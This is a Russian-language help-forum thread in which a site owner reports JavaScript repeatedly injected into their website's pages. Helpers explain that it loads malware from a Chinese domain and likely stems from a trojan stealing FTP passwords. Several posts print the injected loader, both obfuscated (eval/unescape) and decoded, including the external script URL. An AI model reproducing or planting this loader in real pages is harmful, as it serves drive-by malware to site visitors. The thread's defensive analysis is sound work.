Показано с 1 по 6 из 6.

Появился странный javascript в html-коде.

  1. #1
    Priority Member Репутация
    Регистрация
    21.06.2008
    Сообщений
    130
    Вес репутации
    35

    Появился странный javascript в html-коде.

    Добрый день.
    На всех html-страницах подопечного сайта появился javascript (прилагаю в текстовом файле). Как прописался - неизвестно, хостер не знает. Располагается между тегами </head> и <body>. Сайт сильно тормозил.
    После первого обнаружения удалили, однако он через некоторое время появился снова, кажется, немного другого вида (первый, к сожалению, не сохранил). Удалили опять.
    Может ли кто-нибудь сказать, что этот скрипт делает и куда что отправляет? Подозреваем, что надо менять логин-пароль доступа к сайту - правильно ли подозреваем?
    Заранее большое спасибо.
    Вложения Вложения

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Expert Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    03.03.2008
    Сообщений
    14,832
    Вес репутации
    1786
    var a="ScriptEngine",
    b="Version()+",j="",
    u=navigator.userAgent;
    if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(ty peof(zrvzts)!=typeof("A"))){zrvzts="A";
    eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+ b+a+"Build"+b+"j;");
    document.write("<script src=//****.cn/rss/?id="+j+"><\/script>");}
    Этот скрипт редиректит на китайский ресурс, который сейчас не работает...
    Раньше там сливалась зараза...

    Может ли кто-нибудь сказать, что этот скрипт делает и куда что отправляет? Подозреваем, что надо менять логин-пароль доступа к сайту - правильно ли подозреваем?
    Правильно, а еще лучше в Помогите по правилам

  4. #3
    Priority Member Репутация
    Регистрация
    21.06.2008
    Сообщений
    130
    Вес репутации
    35
    Цитата Сообщение от Гриша Посмотреть сообщение
    Правильно, а еще лучше в Помогите по правилам
    Так в Помогите вы компьютер помогаете спасать - а с сайтом что там делать? Или намекаете, что на нашем компе может быть что-то подсажено от китайцев этих?

  5. #4
    Full Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    15.06.2008
    Сообщений
    482
    Вес репутации
    112
    borber, это у Вас на компьютере программа, которая либо передает китайцам пароли к сайтам, либо вставляет к Вам на сайт код. Это делается путем чтения пароля FTP-клиента.

  6. #5
    Priority Member Репутация
    Регистрация
    21.06.2008
    Сообщений
    130
    Вес репутации
    35
    О! Написал предыдущее сообщение, посмотрел на сайт а там снова вот что:
    <script language=javascript><!--
    (function(){var Uqa=('va!72!20a!3d!22Sc!72iptEn!67ine!22!2cb!3d!22 !56!65rsio!6e()+!22!2cj!3d!22!22!2cu!3d!6e!61!76!6 9!67!61!74o!72!2euse!72!41!67!65!6e!74!3bif!28(u!2 eind!65x!4ff(!22Chr!6fme!22)!3c0!29!26!26!28!75!2e indexOf(!22Wi!6e!22)!3e0)!26!26(u!2e!69ndexOf(!22! 4eT!20!36!22)!3c0!29!26!26!28d!6fcum!65nt!2ec!6fo! 6bie!2ei!6e!64exOf(!22miek!3d1!22)!3c0!29!26!26!28 typeof(!7arvz!74s)!21!3dtypeof(!22A!22!29!29)!7bzr vzts!3d!22A!22!3beval(!22if(win!64ow!2e!22!2ba+!22 )j!3dj+!22+!61+!22!4dajor!22+b+!61+!22M!69nor!22+b !2ba+!22!42!75ild!22!2bb+!22j!3b!22)!3b!64!6fc!75m !65n!74!2ew!72ite!28!22!3cs!63r!69!70!74!20!73rc!3 d!2f!2f!6d!22!2b!22!61rtuz!2ecn!2f!76id!2f!3fid!3d !22+j+!22!3e!3c!5c!2fscr!69pt!3e!22)!3b!7d').repla ce(/!/g,'%');eval(unescape(Uqa))})();
    --></script>
    Этот расшифруете? Заранее спасибо, идем менять доступ к сайту!!

  7. #6
    Visiting Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для zerocorporated
    Регистрация
    23.09.2007
    Сообщений
    967
    Вес репутации
    840
    Цитата Сообщение от borber Посмотреть сообщение
    Заранее спасибо, идем менять доступ к сайту!!
    Бесполезно. Если у вас Троян на ПК, то пароли тут же "уйдут" снова.
    Вам в "Помогите!", а потом уже менять пароли/проверять сайт нужно.

    Добавлено через 6 минут

    Цитата Сообщение от borber Посмотреть сообщение
    Этот расшифруете?
    Код:
     var a="ScriptEngine",b=" Version()+",j="",u=nav%6 9gator.userAgent;
     if((u%2 eindexOf("Chrome")<0)&&(u. indexOf("Win")>0)&&(u.indexOf("% 4eT 6")<0)&&(document.coo% 6bie.indexOf("miek=1")<0)&&( typeof(zrvzts)!=typeof("A")))
     {
       zr vzts="A";
       eval("if(window."+a+" )j=j+"+a+"Major"+b+a+"Minor"+b +a+"Build"+b+"j;
       ");
     document.write("<script src%3 d//m"+"artuz.cn/vid/?id= "+j+"><\/script>");}
    Если вам это как то поможет.

Похожие темы

  1. Web страницы открываются в HTML коде.
    От ulia2307 в разделе Помогите!
    Ответов: 6
    Последнее сообщение: 21.05.2012, 22:28
  2. Страницы открываются в HTML коде.
    От RAIS в разделе Помогите!
    Ответов: 5
    Последнее сообщение: 12.03.2012, 20:06
  3. Страничка отображается в HTML коде
    От said-64 в разделе Помогите!
    Ответов: 2
    Последнее сообщение: 28.02.2012, 13:43
  4. Страничка отображается в HTML коде
    От said-64 в разделе Помогите!
    Ответов: 2
    Последнее сообщение: 05.01.2012, 10:00
  5. Браузер отображает страницу в HTML коде
    От said-64 в разделе Помогите!
    Ответов: 4
    Последнее сообщение: 30.12.2011, 11:19

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.00308 seconds with 17 queries